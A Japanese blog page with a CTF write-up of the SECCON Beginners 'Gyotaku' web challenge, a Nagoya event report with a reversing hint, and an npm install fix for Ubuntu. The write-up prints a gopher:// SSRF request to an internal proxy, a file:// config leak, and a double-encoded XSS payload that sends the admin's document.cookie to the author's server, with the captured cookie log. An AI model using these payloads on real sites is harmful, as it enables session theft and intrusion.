SECCON Beginners NEXT Web

Web

CTF4bのWebのまとめ

Web問は難問

来年のDEFCONは出題者が変わるみたいなのでWeb問も出るかも?

Gyotaku

作問:れっくすさんの問題

予習

適当にURLを打ち込むとそのソースコードを表示してくれる。

いろいろなURLをいれるとわかることがある。

http://8.8.8.8/
http://a.i.u/
http://google.com/<a>test</a>
http://google.com/<script>alert('1')</script>

まず1番目に関してはForbiddenとなるので、なにか入力したもののチェックが行われていることがわかる。

2番目に関しては存在しないURLだが、Gyotaku結果にcurl: (6) Could not resolve host: a.i.uと出る。内部でcurlが使われているらしい。

3番目は表示されるが、4番目に関してはForbiddenになるのでタグに関してもチェックが行われている感じ

Posted gyotakus are checked by admin という表示があるのでXSSして管理者にアクセスさせるんだろうなという問題であることが予想できる

本番

curlの知らない機能たち

全てman curlに書いてある機能、これらを使ってXSSを行う

gopherを使ってpost通信する

gopherとはGolangのやつではなくプロトコルである。

ブラウザが主流となる前に使われていたプロトコルだが今は全然ないらしい

POST送信の中身をそのままgopherで使えばいいらしい

POST /new HTTP/ 1.1
Host: ほすとねーむ
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

url=x

というPOSTを送りたかったら

gopher://ほすとねーむ/_POST%20/new%20HTP/1.1%0d%0aHost:%20ほすとねーむ%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%205%0d%0a%0d%0aurl=x

確認したかったら、以下のコマンドを別々の端末で打てばPOST通信ができていることがわかる。

$ nc -l -p 10000
$ curl gopher://localhost:10000/_POST%20/new%20HTP/1.1%0d%0aHost:%20localhost:10000%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%205%0d%0a%0d%0aurl=x

Gyotakuの脆弱性をつく

curlのfileコマンドを使ってapcheの設定ファイルをリークすると127.0.0.1:9999にリバースプロキシがあることがわかる。

これを利用し127.0.0.1:9999にgopherプロトコルでPOST通信ができればXSSさせることができそう。

GyotakuにPOST通信

上の要領でgopherのPOST通信をごりごり書く

gopher://localhost:9999/_POST%20/new%20HTTP/1.{1}%0d%0aHost{%3a}%20localhost:9999%0d%0aContent-Length{%3a}%20コンテンツの中身の長さ%0d%0aContent-Type{%3a}%20application/x-www-form-urlencoded%0d%0aCookie{%3a}%20session=くっきー%0d%0a%0d%0aurl=自分のページ

こんな感じでうまく行く。後はscriptを書き込む。

GyotakuでXSS

POST通信の時にがっつりカットしたけどチェックされそうな部分を%エンコードしていく。 タグ等は1回はパーセントから戻されるので<%253cとしておくと1回デコードされて%3cとなってチェックをすり抜けられる。

gopher://localhost:9999/_POST%20/new%20HTTP/1.{1}%0d%0aHost{%3a}%20localhost:9999%0d%0aContent-Length{%3a}%20コンテンツの中身の長さ%0d%0aContent-Type{%3a}%20application/x-www-form-urlencoded%0d%0aCookie{%3a}%20session=くっきー%0d%0a%0d%0aurl=%253cscript>location.href="自分のページ/%3fa="%252bdocument%252ecookie%253c/script>

クッキー入手

"GET /?a=session=293e53ca013fb6ece2ef7d773905495e503bf3ba38781363a504b21f0a3248e3 HTTP/1.1" 200 2425 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/60.0.3112.113 HeadlessChrome/60.0.3112.113 Safari/537.36"

こんな感じでクッキー入手、後は書き換えてflagも手に入ります。

感想

POST送信系統がめんどい、既にWriteup書いてた方のようにshellscriptとかpythonで書いた方がミスが少ないと思います。 Gyotakuのシステムでは送信できていれば送信途中までのPOSTが現れるのでそれを頼りになおしていくといい。Webはやはりいろいろ知識がいるなぁと

解答に関してですがrequestb.inは相性が悪いらしいので自分はawsを使いました。awsのelastic IPだとめんどいのでパブリックDNSを使ったほうがいい感じになると思います。

もっと強くなりたい。

SECCON Beginners名古屋の参加記(供養)

7/1名古屋開催のSECCON Beginnersに参加してきました。

rev及びpwnが苦手なのでなんとかしようと思って参加

講義内容

Web: HTTP,SQLiのお話

Forensic:pcap,filesystem周り

Reversing: revの読み方

Forのpcapの話は知っていたのですがForのfilesystemを扱うコマンドがとっても便利でした

またReversingで小さな演習でrevを読んでくのは飽きにくく、がんばろうという気持ちに慣れました。

CTF

3問解けずの5位、ただし一問は絶対に解けるだろって感じ、flagがわかりきっていたのにpngに気を取られて死亡したのがもったいなさすぎる。

revはgdbを使い解いていったので今後も操作を忘れないように取り組んでいきたいです。

懇親会

実は今回の一番の目的だった懇親会。

今自分が学内向けにCTFの問題を差くもんしているので運営の方にお話を効くチャンスと考えてました。

れっくす氏、しふくろ氏、ちひろ氏から作問のお話を聞けて、いい感じの問題を作れそうです。

今回は開催場所が名古屋ということで普段nagoyasecにも参加しているため、色んな人からnagoyasecでのLTの方だよね。とお声をかけていただきました。

3月のnagoyasecのLTで「SHA1衝突でピンチ!」という内容をしたのですがよっぽどインパクトがあったらしく、次回のnagoyasecでもLTの登壇決定したらがんばらないとなという気持ちです。

Wirteup

正直他の問題は全部答え合わせしたのでコメントにきてたcrackme_revengeだけ

Crackme_revenge

Reversingです。当日は誰も解けていなかったやつです。これを含めてあの時間内に全完できたらたしかにBeginnerじゃないなと言う感じ。

と言っても難しい問題ではないです。ただこの問題はgdbで見ていくと辛いのでIDAで見ることをおすすめします。

バイナリは./crackme_revenge AAAAと言った感じで動きます

ここからのバイナリの動きですが

  1. 入力されたパスワードが20文字であるか確認

  2. パスワードを1文字ずつ確認してあっていれば次の文字、間違っていればWrong Password

と言った感じです。

比較する文字列は気づいた方も多いと思いますが、Y1w_5te`p-uaBfiiopesの20文字と比較しています

ここからがIDA先生の出番です

f:id:kataware8136:20170713205935p:plain

これを3個の流れのはじめはすべて一緒で

  1. Y1w_5te`p-uaBfiiopesから1文字を取得(movからmovzxまたはmovsxまで)
  2. 入力されたパスワードから1文字取得(次のmovからmovxzまたはmovsxまで)

そうすると残り二つにadd edx 1add edx 2があるのが気になります。

勘のいい人はここで気づくでしょうし実際にためせばわかるのですがasciiコードに1もしくは2をたしてから比較してる文字があるということです。

f:id:kataware8136:20170713211407p:plain

その前も見てると1足してる部分があります。まぁここの解説はほとんどする意味ないのでスルー

簡単に言ってしまうとmod 3して結果を受けてjmpしています。(実際はそれをめんどくさくやってる)

なのであとは文字列をいい感じにずらしてください。

flag自体は載せません。みなさんで試して突破してください。

パスワードがあってればflagがでてきます。Let’s Fight!!!

余談

ちなみに55はpush ebp

Ubuntuにnpmが入らない時の解決法

Ubuntuでnodejsとnpmをインストールしたときにnpmが入らなかったためその解決法

npmインストールのときに起こったこと

$ sudo apt-get install npm
パッケージリストを読み込んでいます... 完了
依存関係ツリーを作成しています                
状態情報を読み取っています... 完了
インストールすることができないパッケージがありました。おそらく、あり得
ない状況を要求したか、(不安定版ディストリビューションを使用しているの
であれば) 必要なパッケージがまだ作成されていなかったり Incoming から移
動されていないことが考えられます。
以下の情報がこの問題を解決するために役立つかもしれません:

以下のパッケージには満たせない依存関係があります:
 npm : 依存: nodejs しかし、インストールされようとしていません
       依存: node-abbrev (>= 1.0.4) しかし、インストールされようとしていません
       依存: node-ansi しかし、インストールされようとしていません
       依存: node-archy しかし、インストールされようとしていません
       依存: node-block-stream しかし、インストールされようとしていません
       依存: node-fstream (>= 0.1.22) しかし、インストールされようとしていません
       依存: node-fstream-ignore しかし、インストールされようとしていません
       依存: node-github-url-from-git しかし、インストールされようとしていません
       依存: node-glob (>= 3.1.21) しかし、インストールされようとしていません
       依存: node-graceful-fs (>= 2.0.0) しかし、インストールされようとしていません
       依存: node-inherits しかし、インストールされようとしていません
       依存: node-ini (>= 1.1.0) しかし、インストールされようとしていません
       依存: node-lockfile しかし、インストールされようとしていません
       依存: node-lru-cache (>= 2.3.0) しかし、インストールされようとしていません
       依存: node-minimatch (>= 0.2.11) しかし、インストールされようとしていません
       依存: node-mkdirp (>= 0.3.3) しかし、インストールされようとしていません
       依存: node-gyp (>= 0.10.9) しかし、インストールされようとしていません
       依存: node-nopt (>= 2.1.1) しかし、インストールされようとしていません
       依存: node-npmlog しかし、インストールされようとしていません
       依存: node-once しかし、インストールされようとしていません
       依存: node-osenv しかし、インストールされようとしていません
       依存: node-read しかし、インストールされようとしていません
       依存: node-read-package-json (>= 1.1.0) しかし、インストールされようとしていません
       依存: node-request (>= 2.25.0) しかし、インストールされようとしていません
       依存: node-retry しかし、インストールされようとしていません
       依存: node-rimraf (>= 2.2.2) しかし、インストールされようとしていません
       依存: node-semver (>= 2.1.0) しかし、インストールされようとしていません
       依存: node-sha しかし、インストールされようとしていません
       依存: node-slide しかし、インストールされようとしていません
       依存: node-tar (>= 0.1.18) しかし、インストールされようとしていません
       依存: node-which しかし、インストールされようとしていません
E: 問題を解決することができません。壊れた変更禁止パッケージがあります。

依存関係で壊れているらしい。

解決方法

ggrとUbuntuで依存関係が壊れている時の対応を見つける

aptitudeを用いて依存関係をダウンロードすることができるっぽいので試してみる。

$ sudo aptitude install npm
[sudo] password for takeuchi: 
以下の新規パッケージがインストールされます:
  gyp{a} libjs-node-uuid{a} node-abbrev{a} node-ansi{a} node-archy{a} node-async{a} node-block-stream{a} node-combined-stream{a} node-cookie-jar{a} node-delayed-stream{a} 
  node-forever-agent{a} node-form-data{a} node-fstream{a} node-fstream-ignore{a} node-github-url-from-git{a} node-glob{a} node-graceful-fs{a} node-gyp{a} node-inherits{a} node-ini{a} 
  node-json-stringify-safe{a} node-lockfile{a} node-lru-cache{a} node-mime{a} node-minimatch{a} node-mkdirp{a} node-mute-stream{a} node-node-uuid{a} node-nopt{a} 
  node-normalize-package-data{a} node-npmlog{a} node-once{a} node-osenv{a} node-qs{a} node-read{a} node-read-package-json{a} node-request{a} node-retry{a} node-rimraf{a} node-semver{a} 
  node-sha{a} node-sigmund{a} node-slide{a} node-tar{a} node-tunnel-agent{a} node-which{a} npm 
0 個のパッケージを更新、 47 個を新たにインストール、 0 個を削除予定、3 個が更新されていない。
988 k バイトのアーカイブを取得する必要があります。 展開後に 5,083 k バイトのディスク領域が新たに消費されます。
以下のパッケージには満たされていない依存関係があります:
 nodejs : 競合: npm [1.3.10~dfsg-1 がインストール予定となっています]
以下のアクションでこれらの依存関係の問題は解決されます:

     以下のパッケージを現在のバージョンに一時固定する:
1)     npm [インストールされていません]               



この解決方法を受け入れますか? [Y/n/q/?] .
以下のアクションでこれらの依存関係の問題は解決されます:

     以下のパッケージをインストールする:                                                         
1)     libc-ares-dev [1.10.0-2 (trusty)]                                                         
2)     libv8-3.14-dev [3.14.5.8-5ubuntu2 (trusty)]                                               
3)     libv8-3.14.5 [3.14.5.8-5ubuntu2 (now, trusty)]                                            
4)     nodejs-dev [0.10.25~dfsg2-2ubuntu1 (trusty)]                                              

     以下のパッケージをダウングレードする:                                                       
5)     libc-ares2 [1.10.0-2ubuntu0.1 (now, trusty-security, trusty-updates) -> 1.10.0-2 (trusty)]
6)     nodejs [0.10.37-1chl1~trusty1 (now, trusty) -> 0.10.25~dfsg2-2ubuntu1 (trusty)]           



この解決方法を受け入れますか? [Y/n/q/?] y

最初のこの解決方法を受け入れますかで「.」を入力することで依存関係の問題を解決してくれる。この解決方法を受け入れますかで「y」を選択すればよい

するとnpmが無事インストールされてる。apt-getで確認しても問題ない

$ which npm
/usr/bin/npm
$ sudo apt-get install npm
パッケージリストを読み込んでいます... 完了
依存関係ツリーを作成しています                
状態情報を読み取っています... 完了
npm はすでに最新版です。

困ってる人の助けになれば….